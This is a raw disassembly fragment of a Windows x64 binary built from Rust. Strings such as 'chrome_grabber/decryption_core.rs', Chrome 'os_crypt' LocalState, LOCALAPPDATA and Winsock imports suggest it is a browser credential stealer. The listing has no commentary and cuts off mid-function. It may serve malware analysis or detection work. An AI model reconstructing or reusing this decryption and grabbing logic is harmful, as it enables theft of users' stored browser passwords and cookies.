movups xmm1, xmmword [rsp + 0x78]
mov byte [rbp], al
movups xmmword [rbp + 8], xmm0
movups xmmword [rbp + 0x18], xmm1
lea rcx, [rsp + 0x248]
call fcn.14000935c
lea rcx, [rsp + 0x2d0]
call fcn.140009466
jmp 0x140040a47
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x368], rax
and qword [rsp + 0x308], 0
jmp 0x1400402ad
mov qword [rsp + 0x368], r14
lea rcx, [rsp + 0x2f0]
call fcn.1400093e6
sub rdi, rsi
shr rdi, 6
lea rbp, [rsp + 0x360]
mov rcx, rbp
call fcn.1400175b3
lea rbx, [rsp + 0xf8]
mov rax, qword [rsp + 0x30]
mov qword [rbx], rax
mov qword [rbx + 8], rsi
mov qword [rbx + 0x10], rdi
mov rcx, rbp
call fcn.140009739
mov rbp, qword [rsp + 0x40]
lea rcx, [rbp + 0x38]
lea rdi, [rsp + 0x2d0]
mov rdx, rdi
call fcn.1400173f8
lea rcx, [rbp + 0x50]
lea rsi, [rsp + 0x248]
mov rdx, rsi
call fcn.1400171e3
lea rcx, [rbp + 0x68]
mov rdx, rbx
call fcn.1400172ec
mov rax, qword [rbp + 0x48]
add qword [0x140481fa0], rax
mov rax, qword [rbp + 0x78]
add qword [0x140481fb8], rax
mov rcx, rbx
call fcn.140009565
mov rcx, rsi
call fcn.14000935c
mov rcx, rdi
call fcn.140009466
lea rdx, str.LOCALAPPDATA
mov r8d, recvfrom
lea rsi, [rsp + 0x60]
mov rcx, rsi
call fcn.140152e10
lea r8, [0x14033efa8]
lea rcx, [rsp + 0xf8]
mov rdx, rsi
call fcn.14000d50d
mov rbx, qword [rbp + 0x40]
mov rbp, qword [rbp + 0x48]
mov rcx, rbp
call fcn.140141a14
lea rdi, [rsp + 0x140]
mov qword [rdi], rax
mov qword [rdi + 8], rdx
and qword [rdi + 0x10], 0
mov rcx, rdi
mov rdx, rbp
call fcn.1400b6364
mov rax, qword [rdi + 8]
mov rdi, qword [rdi + 0x10]
imul rsi, rdi, 0x18
mov qword [rsp + 0x30], rax
add rsi, rax
imul rbp, rbp, 0x48
lea r12, [0x14001b880]
mov r15d, 3
lea r13, [rsp + 0x1b0]
test rbp, rbp
je 0x14004048d
lea r14, [rbx + 0x48]
lea rax, [rbx + 0x18]
mov qword [rsp + 0x60], rbx
add rbx, 0x30
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], r12
lea rax, str.description___is_deprecated__use_Displaycalled__Option::unwrap____on_a__None__value
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x1c8], r15
and qword [rsp + 0x1b0], 0
mov qword [rsp + 0x80], rbx
mov qword [rsp + 0x88], r12
lea rax, [rsp + 0x60]
mov qword [rsp + 0x1d0], rax
mov qword [rsp + 0x1d8], r15
lea rcx, [rsp + 0x260]
mov rdx, r13
call fcn.14001700f
mov rax, qword [rsp + 0x270]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rsp + 0x260]
movups xmmword [rsi], xmm0
inc rdi
add rsi, 0x18
add rbp, 0xffffffffffffffb8
mov rbx, r14
jmp 0x1400403e5
lea rbx, [rsp + 0x140]
mov qword [rbx + 0x10], rdi
mov qword [rsp + 0x20], 1
lea rbp, [0x140408771]
lea rsi, [rsp + 0x360]
mov rcx, rsi
mov rdx, qword [rsp + 0x30]
mov r8, rdi
mov r9, rbp
call fcn.140122856
mov rcx, rbx
call fcn.1400cd1bc
lea rdi, [0x140408772]
mov rcx, rsi
mov rdx, rdi
mov r8, rbp
call fcn.1400e43de
mov rcx, rsi
mov rdx, rdi
mov r8, rbp
call fcn.1400e43de
mov rax, qword [rsp + 0x40]
mov r15, qword [rax + 0x70]
mov rsi, qword [rax + 0x78]
mov rcx, rsi
call fcn.140141a14
mov qword [rbx], rax
mov qword [rbx + 8], rdx
and qword [rbx + 0x10], 0
lea rdi, [rsp + 0x140]
mov rcx, rdi
mov rdx, rsi
call fcn.1400b6364
mov rax, qword [rdi + 8]
mov rbx, qword [rdi + 0x10]
imul rbp, rbx, 0x18
mov qword [rsp + 0x30], rax
add rbp, rax
shl rsi, 6
mov r13d, 4
lea rdi, [rsp + 0x1b0]
test rsi, rsi
je 0x140040609
lea r14, [r15 + 0x40]
lea rax, [r15 + 0x10]
lea rcx, [r15 + 0x28]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x70], r15
lea rax, [fcn.14008be10]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], r15
mov qword [rsp + 0x88], rax
lea rax, str.description___is_deprecated__use_Displaycalled__Option::unwrap____on_a__None__value
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x1c8], r13
and qword [rsp + 0x1b0], 0
mov qword [rsp + 0x90], rcx
mov qword [rsp + 0x98], r12
lea rax, [rsp + 0x60]
mov qword [rsp + 0x1d0], rax
mov qword [rsp + 0x1d8], r13
lea rcx, [rsp + 0x260]
mov rdx, rdi
call fcn.14001700f
mov rax, qword [rsp + 0x270]
mov qword [rbp + 0x10], rax
movups xmm0, xmmword [rsp + 0x260]
movups xmmword [rbp], xmm0
inc rbx
add rbp, 0x18
add rsi, 0xffffffffffffffc0
mov r15, r14
jmp 0x140040549
lea rbp, [rsp + 0x140]
mov qword [rbp + 0x10], rbx
mov esi, 1
mov qword [rsp + 0x20], rsi
lea rdi, [0x140408771]
lea rcx, [rsp + 0x60]
mov rdx, qword [rsp + 0x30]
mov r8, rbx
mov r9, rdi
call fcn.140122856
mov rbx, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
add rdx, rbx
lea rcx, [rsp + 0x360]
mov r8, rbx
call fcn.1400e43de
mov rcx, qword [rsp + 0x60]
mov rdx, rbx
call fcn.14007ab60
mov rcx, rbp
call fcn.1400cd1bc
lea rcx, [rsp + 0x2f0]
and qword [rcx], 0
mov qword [rcx + 8], rsi
and qword [rcx + 0x10], 0
lea rdx, [0x140408772]
mov r8, rdi
call fcn.1400e43de
mov rax, qword [rsp + 0x40]
mov rdi, qword [rax + 0x58]
mov rsi, qword [rax + 0x60]
mov rcx, rsi
call fcn.140141a14
mov qword [rbp], rax
mov qword [rbp + 8], rdx
and qword [rbp + 0x10], 0
lea rbx, [rsp + 0x140]
mov rcx, rbx
mov rdx, rsi
call fcn.1400b6364
mov rax, qword [rbx + 8]
mov r13, qword [rbx + 0x10]
imul rbx, r13, 0x18
mov qword [rsp + 0x30], rax
add rbx, rax
imul r15, rsi, 0x70
mov r14d, 6
test r15, r15
je 0x140040836
mov rax, qword [rdi + 8]
test rax, rax
je 0x140040712
cmp rax, 1
jne 0x140040728
lea rax, [0x14033f18f]
mov qword [rsp + 0x248], rax
mov eax, 4
jmp 0x14004073c
lea rax, [0x14033f193]
mov qword [rsp + 0x248], rax
mov eax, 5
jmp 0x14004073c
lea rax, str.UNKNOWNTRUEFALSEsrcchrome_grabberdecryption_core.rs
mov qword [rsp + 0x248], rax
mov eax, 7
lea rsi, [rdi + 0x70]
mov qword [rsp + 0x250], rax
lea rax, [rdi + 0x10]
lea rcx, [rdi + 0x28]
lea rdx, [rdi + 0x40]
lea rbp, [rdi + 0x58]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], r12
lea rax, [rsp + 0x248]
mov qword [rsp + 0x70], rax
lea rax, [fcn.14007c110]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rbp
mov qword [rsp + 0x88], r12
mov qword [rsp + 0x90], rdi
lea rax, [fcn.14008be10]
mov qword [rsp + 0x98], rax
mov qword [rsp + 0xa0], rcx
mov qword [rsp + 0xa8], r12
lea rax, str.description___is_deprecated__use_Displaycalled__Option::unwrap____on_a__None__value
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x1c8], r14
and qword [rsp + 0x1b0], 0
mov qword [rsp + 0xb0], rdx
mov qword [rsp + 0xb8], r12
lea rax, [rsp + 0x60]
mov qword [rsp + 0x1d0], rax
mov qword [rsp + 0x1d8], r14
lea rcx, [rsp + 0x260]
lea rdx, [rsp + 0x1b0]
call fcn.14001700f
mov rax, qword [rsp + 0x270]
mov qword [rbx + 0x10], rax
movups xmm0, xmmword [rsp + 0x260]
movups xmmword [rbx], xmm0
inc r13
add rbx, 0x18
add r15, 0xffffffffffffff90
mov rdi, rsi
jmp 0x1400406e4
lea rsi, [rsp + 0x140]
mov qword [rsi + 0x10], r13
mov qword [rsp + 0x20], 1
lea r9, [0x140408771]
lea rbx, [rsp + 0x60]
mov rcx, rbx
mov rdx, qword [rsp + 0x30]
mov r8, r13
call fcn.140122856
mov rbp, qword [rbx + 8]
mov rdx, qword [rbx + 0x10]
add rdx, rbp
lea rcx, [rsp + 0x2f0]
mov r8, rbp
call fcn.1400e43de
mov rcx, qword [rbx]
mov rdx, rbp
call fcn.14007ab60
mov rcx, rsi
call fcn.1400cd1bc
mov r14, qword [rsp + 0x40]
add r14, 0x10
lea rsi, [rsp + 0x1b0]
lea rax, [rsp + 0xf8]
mov qword [rsi], rax
mov qword [rsi + 8], r12
mov qword [rsi + 0x10], r14
lea rax, str.description___is_deprecated__use_Displaycalled__Option::unwrap____on_a__None__value
mov qword [rbx + 0x10], rax
mov eax, 3
mov qword [rbx + 0x18], rax
and qword [rbx], 0
lea r13, [fcn.14007c110]
mov qword [rsi + 0x18], r13
lea rax, [rsp + 0x1b0]
mov qword [rbx + 0x20], rax
mov eax, 2
mov qword [rbx + 0x28], rax
lea rdi, [rsp + 0x260]
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.14001700f
mov rcx, rdi
call fcn.1400049bd
mov rbx, rdx
lea r8, [0x14033f008]
mov rcx, rax
call fcn.14000d3b2
mov qword [rsi], rbx
mov rdi, qword [rsp + 0x368]
mov r9, qword [rsp + 0x370]
lea rbp, [rsp + 0x60]
mov rcx, rbp
mov rdx, rsi
mov r8, rdi
call fcn.14014d8c0
mov rcx, qword [rbp]
mov rdx, qword [rbp + 8]
lea r8, [0x14033f020]
call fcn.14000d5aa
mov r15, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call r15
lea rax, [rsp + 0xf8]
mov qword [rsi], rax
mov qword [rsi + 8], r12
lea rax, str.description___is_deprecated__use_Displaycalled__Option::unwrap____on_a__None__value
mov qword [rbp + 0x10], rax
mov eax, 3
mov qword [rbp + 0x18], rax
and qword [rbp], 0
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], r13
mov qword [rbp + 0x20], rsi
mov eax, 2
mov qword [rbp + 0x28], rax
lea rsi, [rsp + 0x260]
lea rbx, [rsp + 0x60]
mov rcx, rsi
mov rdx, rbx
call fcn.14001700f
mov rcx, rsi
call fcn.1400049bd
mov rsi, rdx
lea r8, [0x14033f078]
mov rcx, rax
call fcn.14000d3b2
mov qword [rbx], rsi
lea rax, [rsp + 0x2f0]
mov rbx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rbp, rax
lea rcx, [rsp + 0x60]
mov rdx, rbx
call fcn.1401bfd6c
lea rdx, [0x14033f090]
mov rcx, rax
call fcn.14000d37d
mov rcx, rsi
call r15
mov rax, qword [rsp + 0x48]
mov byte [rax], 0x19
mov rcx, qword [rbp]
mov rdx, rbx
call fcn.14007ab60
mov rcx, qword [rsp + 0x360]
mov rdx, rdi
call fcn.14007ab60
mov rcx, qword [rsp + 0xf8]
mov rdx, qword [rsp + 0x100]
call fcn.14007ab60
nop
add rsp, 0x3f8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0x148]
jmp 0x14003fa16
movzx eax, al
cmp eax, 0x7d
mov r12, qword [rsp + 0x48]
mov r13, qword [rsp + 0x40]
lea rdx, [rsp + 0x140]
jne 0x140040b18
mov qword [rdx], reloc.WS2_32.dll_setsockopt
jmp 0x140040b1f
mov rbx, qword [rsp + 0x38]
add rbx, rsi
mov r15b, 0x3d
jmp 0x14003ef85
lea rdx, [rsp + 0x140]
mov qword [rdx], 2
lea rcx, [rsp + 0x60]
call fcn.140331a00
jmp 0x14003ec9d
mov rbx, qword [rsp + 0x38]
add rbx, r14
add rbx, rbp
jmp 0x14003ef85
lea rdx, [0x140340280]
xor edi, edi
xor ecx, ecx
call fcn.14033218f
jmp 0x14003ef1d
lea rdx, [rsp + 0x140]
mov qword [rdx], 3
jmp 0x140040b06
lea rdx, [rsp + 0x140]
mov qword [rdx], 8
lea rcx, [rsp + 0x60]
call fcn.140331a00
mov rcx, rax
jmp 0x14003fa16
mov qword [rdx], reloc.WS2_32.dll_recvfrom
lea rcx, [rsp + 0x60]
call fcn.140331a00
mov rcx, rax
jmp 0x14003fa20
lea rcx, str.os_cryptstruct_LocalStatestruct_LocalState_with_1_element
mov edx, 8
call fcn.1403320e3
mov qword [rsp + 0x30], rax
xor r15d, r15d
jmp 0x14003fa65
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x30], rax
xor r15d, r15d
jmp 0x14003fa32
lea r8, [0x14033d968]
mov rcx, rdi
mov rdx, qword [rsp + 0xe0]
jmp 0x14003fbc2
lea rdx, [rsp + 0x140]
mov qword [rdx], 5
jmp 0x140040b06
lea rcx, str.os_cryptstruct_LocalStatestruct_LocalState_with_1_element
mov edx, 8
call fcn.14033225d
jmp 0x140040b57
lea rcx, str.decoded_length_calculation_overflow
lea r8, [0x14033d768]
mov edx, 0x23
jmp 0x140040bca
lea rcx, str.Overflow_when_calculating_number_of_chunks_in_inputC:Users_root.cargo_registry_srcgithub.com_1ecc6299db9ec823_base64_0.13.1_srcdecode.rs
lea r8, [0x140344f48]
mov edx, 0x33
call fcn.140332fa0
ud2
call fcn.14000d67d
ud2